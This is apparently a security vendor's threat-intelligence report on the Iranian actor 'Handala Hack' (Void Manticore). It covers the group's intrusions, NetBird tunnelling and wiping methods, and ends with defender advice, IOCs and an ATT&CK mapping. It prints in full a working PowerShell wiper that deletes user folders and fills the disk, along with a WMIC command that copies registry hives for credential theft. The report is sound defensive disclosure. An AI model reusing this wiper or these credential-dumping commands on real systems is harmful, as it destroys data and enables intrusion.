“Handala Hack” – Unveiling Group’s Modus Operandi

By matthewsu

Published: 2026-03-12 · Archived: 2026-04-29 07:11:44 UTC

Key Findings

- Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
- Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
- Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
- In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity

Introduction

Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.

The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.

As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.

Background

“Handala Hack” is an online persona operated by **Void Manticore** (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character **Handala**. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational

fronts. The other two are **Karma,** which was likely completely replaced by Handala, and **Homeland Justice**, a persona the group continues to use in operations targeting Albania.


Figure 1 – Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.

Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by **Karma** and "**Homeland Justice**" is the collaboration with **Scarred Manticore**, a separate Iranian threat actor. In the case of **Handala** and **Karma**, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.


Figure 2 – Operational interconnections of Void Manticore

One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma's complete disappearance and Handala's emergence as the dominant public-facing persona.

According to public reporting, Void Manticore overlaps with activity linked to the **MOIS Internal Security Deputy**, particularly its **Counter-Terrorism (CT) Division,** operating under the supervision of **Seyed Yahya Hosseini Panjaki**. Panjaki was reportedly killed in the opening phase of Israel's strikes on Iran in early March 2026.

Initial Access

Supply Chain Attacks

Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.

After the internet shutdown in Iran in January, we observed similar activity originating from **Starlink** IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor's operational security, as the group has also begun connecting directly to victims from **Iranian IP** addresses.

Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment **169.150.227.X** while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully

egressed through an Israeli node, **146.185.219[.]235**, assessed to be linked to a VPN service, although this differed from the segment previously used.

Activity Before Impact

In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.

It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).

The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1**)**, a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system c:\users\public”

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system c:\users\public”

```
wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.ex
```

Lateral Movement

Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.

The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.

By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.

Wiping Operations

During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.

Handala Wiper

The first stage involved the deployment of a custom wiper, referred to as **Handala Wiper** (in some instances named handala.exe).

The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages **MBR-based wiping techniques** to corrupt or destroy files on the system, contributing to significant data loss.

Figure 3 – Wiper execution of Handala Wiper

Handala PowerShell Wiper

As a final stage of the destructive operation, the attackers deployed an additional custom **PowerShell-based wiper**. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.

The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the

code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

```
$usersFolder = C:\Users

# Ensure the folder exists

if (Test-Path $usersFolder) {

# Get all items in C:\Users, but not the Users folder itself

$items = Get-ChildItem -Path $usersFolder -Recurse

# Remove each item (files and subfolders) inside C:\Users

foreach ($item in $items) {

try {

Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop

} catch {

Write-Host Could not delete: $($item.FullName)

}

}

}

$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar

$destinationFolder = C:\users

if (!(Test-Path $destinationFolder)) {

New-Item -ItemType Directory -Path $destinationFolder | Out-Null

}

$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')

$i = 0
```

while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {

Copy-Item $sourceFile $destinationFolder\Handala_$i.gif

$i++

}

$usersFolder = C:\Users # Ensure the folder exists if (Test-Path $usersFolder) { # Get all items in C:\Users, but not the Users folder itself $items = Get-ChildItem -Path $usersFolder -Recurse # Remove each item (files and subfolders) inside C:\Users foreach ($item in $items) { try { Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop } catch { Write-Host Could not delete: $($item.FullName) } } } $sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar $destinationFolder = C:\users if (!(Test-Path $destinationFolder)) { New-Item -ItemType Directory -Path $destinationFolder | Out-Null } $driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\') $i = 0 while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) { Copy-Item $sourceFile $destinationFolder\Handala_$i.gif $i++ }

```
$usersFolder = C:\Users

# Ensure the folder exists
if (Test-Path $usersFolder) {
    # Get all items in C:\Users, but not the Users folder itself
    $items = Get-ChildItem -Path $usersFolder -Recurse

    # Remove each item (files and subfolders) inside C:\Users
    foreach ($item in $items) {
        try {
            Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
        } catch {
            Write-Host Could not delete: $($item.FullName)
        }
    }
}



$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users


if (!(Test-Path $destinationFolder)) {
    New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}

$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
```

```
$i = 0

while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
    Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
    $i++
}
```

Use of Disk Encryption for Destruction

In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system's default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.

Manual Deletion

In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack's own videos and leaked materials.

Summary

In this report, we detailed the background of the "Handala Hack" persona and its links to Void Manticore, an actor affiliated with Iran's Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.

Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.

Recommendations for Defenders

- Enforce multi-factor authentication, especially for remote access and privileged accounts
- Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
    - Logins from countries not previously observed for your organization or specific users
    - Unusual access patterns, including:
        - First-time logins outside typical hours
        - Multiple failed logins followed by success

        - New device registrations
        - Unusual data transfer volumes during VPN sessions
        - Authentication from new ASN/hosting providers
    - Restrict access from high-risk geographies and infrastructure
        - Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
        - Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
        - If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
    - Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
- Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
- Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows

IOCs

Type	IOC
Handala Wiper	5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper	3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer	3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer	3dfb151d082df7937b01e2bb6030fe4a
NetBird	e035c858c1969cffc1a4978b86e90a30
Handala VPS	82.25.35[.]25
Handala VPS	31.57.35[.]223
Handala VPS	107.189.19[.]52
VPN exit node used by Handala	146.185.219[.]235
Starlink IP range used by Handala	188.92.255.X
Starlink IP range used by Handala	209.198.131.X
Commercial VPN IP range used by Handala	149.88.26.X
Commercial VPN IP range used by Handala	169.150.227.X

Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ

MITRE ATT&CK Breakdown

ATT&CK Tactic	Technique	Observed Activity
Initial Access	**T1133 – External Remote Services**	Use of compromised VPN access for entry into victim environments.
Initial Access	**T1078.002 – Valid Accounts: Domain Accounts**	Use of stolen/supplied credentials, including Domain Admin credentials.
Initial Access	**T1199 – Trusted Relationship**	Targeting of IT and service providers.
Credential Access	**T1110 – Brute Force**	Repeated logon and brute-force attempts against VPN infrastructure.

ATT&CK Tactic	Technique	Observed Activity
Credential Access	**T1003.001 – OS Credential Dumping: LSASS Memory**	LSASS dumping via rundll32 and comsvcs.dll.
Credential Access	**T1003.002 – OS Credential Dumping: Security Account Manager**	Export of sensitive registry hives for credential extraction.
Discovery	**T1087.002 – Account Discovery: Domain Account**	ADRecon used to enumerate the Active Directory environment.
Lateral Movement	**T1021.001 – Remote Services: Remote Desktop Protocol**	Extensive hands-on lateral movement over RDP.
Command and Control	**T1572 – Protocol Tunneling**	NetBird used to tunnel traffic and reach internal hosts.
Execution	**T1105 – Ingress Tool Transfer**	NetBird and VeraCrypt downloaded directly onto victim systems.
Execution	**T1047 – Windows Management Instrumentation**	WMIC was used to run commands.
Execution / Persistence	**T1484.001 – Group Policy Modification**	Wipers distributed via GPO.
Execution / Persistence	**T1037.003 – Network Logon Script**	Logon scripts used to trigger destructive components.
Execution	**T1053.005 – Scheduled Task**	Handala wiper launched as a scheduled task.
Execution	**T1059.001 – PowerShell**	AI-assisted PowerShell wiper used for destructive activity.
Impact	**T1561.002 – Disk Structure Wipe**	MBR-based wiping by the custom Handala wiper.
Impact	**T1485 – Data Destruction**	File deletion, manual deletion, and destructive cleanup.
Impact	**T1486 – Data Encrypted for Impact**	VeraCrypt used to encrypt disks as part of the attack.

Source: https://research.checkpoint.com/2026/handala-hack-unveiling-groups-modus-operandi/